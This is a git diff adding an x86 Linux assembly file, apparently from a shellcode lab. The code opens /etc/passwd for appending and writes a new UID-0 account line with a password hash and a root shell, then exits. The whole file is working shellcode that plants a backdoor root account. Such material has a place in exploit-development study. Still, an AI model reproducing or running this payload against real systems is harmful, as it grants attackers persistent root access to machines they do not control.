init

x86_32/Example_Code/adduser_etc_passwd.asm

@@ -0,0 +1,53 @@
+; shellcode lab @ hack4
+; dash
+
+BITS 32
+global _start
+
+_start:
+xor eax, eax
+xor ebx, ebx
+xor ecx, ecx
+
+mov eax, 5
+push ebx
+push    0x64777373
+push    0x61702f63
+push    0x74652f2f
+mov ebx, esp
+mov ecx, 0x401
+int 0x80
+
+; take filedescriptor
+xor ebx, ebx
+mov ebx, eax
+
+; write(f_open, line, 24)
+xor eax, eax
+xor ecx, ecx
+mov eax, 4
+
+push    ecx
+push byte 0x0a
+push    0x68736162
+push    0x2f6e6962
+push    0x2f3a746f
+push    0x6f722f3a
+push    0x3a303a30
+push    0x3a494e73
+push    0x386b5a39
+push    0x65736d48
+push    0x42413a72
+push    0x336b6361
+push    0x68316f6e
+mov     ecx, esp
+mov edx, 45
+int 0x80
+
+;close maybe?? ah forget that :>
+
+; exit(23)
+mov eax, 1
+mov ebx, 23
+int 0x80
+